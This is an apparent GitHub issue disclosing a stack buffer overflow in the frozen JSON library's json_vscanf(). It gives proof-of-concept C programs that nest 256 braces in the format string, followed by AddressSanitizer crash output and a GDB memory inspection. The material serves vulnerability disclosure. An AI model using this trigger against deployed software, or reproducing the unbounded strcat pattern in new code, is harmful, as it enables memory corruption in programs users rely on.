Skip to content

Stack buffer overflow in json_vscanf() when nesting depth in fmt exceeds JSON_MAX_PATH_LEN #81

@constantinctrlaltdelete

Description

@constantinctrlaltdelete

Hello,

During a personal research project focused on vulnerability analysis of open-source C libraries, I identified a stack-based buffer overflow in the frozen JSON library .

File: frozen.c
Function: json_vscanf()
Function Starts at Line:1069

#define JSON_MAX_PATH_LEN 256 <- frozen.h

char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20];
...
if (fmt[i] == '{') {
strcat(path, ".");
i++;
}

ASAN:

Step 1:

cat > step1.c << 'EOF'
#include "frozen.h"
#include <stdio.h>
#include <string.h>

int main(void) {
// Build a format string with exactly 10 '{' characters
// so you can see what json_vscanf does with small input first
const char *fmt = "{{{{{{{{{{%d}}}}}}}}}}";
int val = 0;
int result = json_scanf("1", 1, fmt, &val);
printf("result=%d val=%d\n", result, val);
return 0;
}
EOF
clang -g -O0 -fsanitize=address -o step1 step1.c frozen.c
./step1
kali@ubuntu:~/vuln-research/targets/frozen$ ./step1
result=0 val=0

Step 2:
cat > step2.c << 'EOF'
#include "frozen.h"
#include <stdio.h>
#include <string.h>

int main(void) {
char fmt[600] = "";
// 255 opening braces = fills path[0..254], path[255] = '\0' — just fits
for (int i = 0; i < 255; i++) strcat(fmt, "{");
strcat(fmt, "%d");
for (int i = 0; i < 255; i++) strcat(fmt, "}");

printf("Format string length: %zu\n", strlen(fmt));
printf("Number of braces: 255 — should be safe\n");

int val = 0;
json_scanf("1", 1, fmt, &val);
printf("Returned normally — no overflow at 255\n");
return 0;

}
EOF
clang -g -O0 -fsanitize=address -o step2 step2.c frozen.c
./step2
Format string length: 512
Number of braces: 255 — should be safe
Returned normally — no overflow at 255

Step 3:
cat > step3.c << 'EOF'
#include "frozen.h"
#include <stdio.h>
#include <string.h>

int main(void) {
char fmt[600] = "";
// 256 opening braces = one past the end — THIS is the overflow
for (int i = 0; i < 256; i++) strcat(fmt, "{");
strcat(fmt, "%d");
for (int i = 0; i < 256; i++) strcat(fmt, "}");

printf("Format string length: %zu\n", strlen(fmt));
printf("Number of braces: 256 — overflow on the last one\n");

int val = 0;
json_scanf("1", 1, fmt, &val);
printf("If you see this, ASAN didn't catch it\n");
return 0;

}
EOF
clang -g -O0 -fsanitize=address -o step3 step3.c frozen.c
./step3

Format string length: 514
Number of braces: 256 — overflow on the last one

==3766671==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeb80b6480 at pc 0x00000047f13b bp 0x7ffeb80b6350 sp 0x7ffeb80b5af8
WRITE of size 2 at 0x7ffeb80b6480 thread T0
#0 0x47f13a in strcat (/home/kali/vuln-research/targets/frozen/step3+0x47f13a)
#1 0x4ca8d7 in json_vscanf /home/kali/vuln-research/targets/frozen/frozen.c:1077:7
#2 0x4cda0f in json_scanf /home/kali/vuln-research/targets/frozen/frozen.c:1129:12
#3 0x4c3401 in main /home/kali/vuln-research/targets/frozen/step3.c:16:5
#4 0x7ff33a004082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41b34d in _start (/home/kali/vuln-research/targets/frozen/step3+0x41b34d)

Address 0x7ffeb80b6480 is located in stack of thread T0 at offset 288 in frame
#0 0x4ca3cf in json_vscanf /home/kali/vuln-research/targets/frozen/frozen.c:1069

This frame has 3 object(s):
[32, 288) 'path' (line 1070) <== Memory access at offset 288 overflows this variable
[352, 372) 'fmtbuf' (line 1070)
[416, 464) 'info' (line 1073)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions are supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/kali/vuln-research/targets/frozen/step3+0x47f13a) in strcat
Shadow bytes around the buggy address:
0x10005700ec40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ec50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ec60: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x10005700ec70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005700ec90:[f2]f2 f2 f2 f2 f2 f2 f2 00 00 04 f2 f2 f2 f2 f2
0x10005700eca0: 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 00 00 00 00
0x10005700ecb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ecc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ecd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ece0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3766671==ABORTING
Aborted

GDB:
clang -g3 -O0 -fno-stack-protector -fno-omit-frame-pointer -o frozen-dbg step3.c frozen.c
./frozen-dbg
break frozen.c:1077 if i == 253
run

(gdb) x/4xb path+256

Expected: 0xc0 0xdc 0xff 0xff ← write this down

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # 0x00 — OVERFLOW

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # 0x00 — OVERFLOW

gef➤ x/6xb path+252
0x7fffffffdb2c: 0x2e 0x2e 0x2e 0x2e 0x00 0xdc
gef➤ x/6xb path+256
0x7fffffffdb30: 0x00 0xdc 0xff 0xff 0xff 0x7f
gef➤
0x7fffffffdb36: 0x00 0x00 0x30 0xdd 0xff 0xff

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions